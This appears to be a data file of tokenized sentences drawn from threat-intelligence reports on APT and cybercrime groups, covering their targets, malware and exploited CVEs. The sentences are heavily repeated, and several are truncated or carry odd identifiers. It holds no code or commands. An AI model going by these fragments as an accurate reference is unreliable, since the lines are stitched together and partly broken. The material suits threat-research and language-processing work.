OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
Gallmaker 's targets are embassies of an Eastern European country .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
360 and Tuisec already identified some Gorgon Group members .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
It's possible TG-3390 used a waterhole to infect data center employees .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Turla is a notorious group that has been targeting government officials .
Turla is a notorious group that has been targeting diplomats .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
In the latest attack , Donot group is targeting Pakistani businessman working in ChinaA previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious EternalBlue that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities CVE-2018-8174 in the wild .
The group has demonstrated access to zero-day vulnerabilities CVE-2018-0802 , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability CVE-2017-11882 in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 ( checker1.exe ) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 ( EternalBlue ) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 ( EternalBlue ) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploits and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data Exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
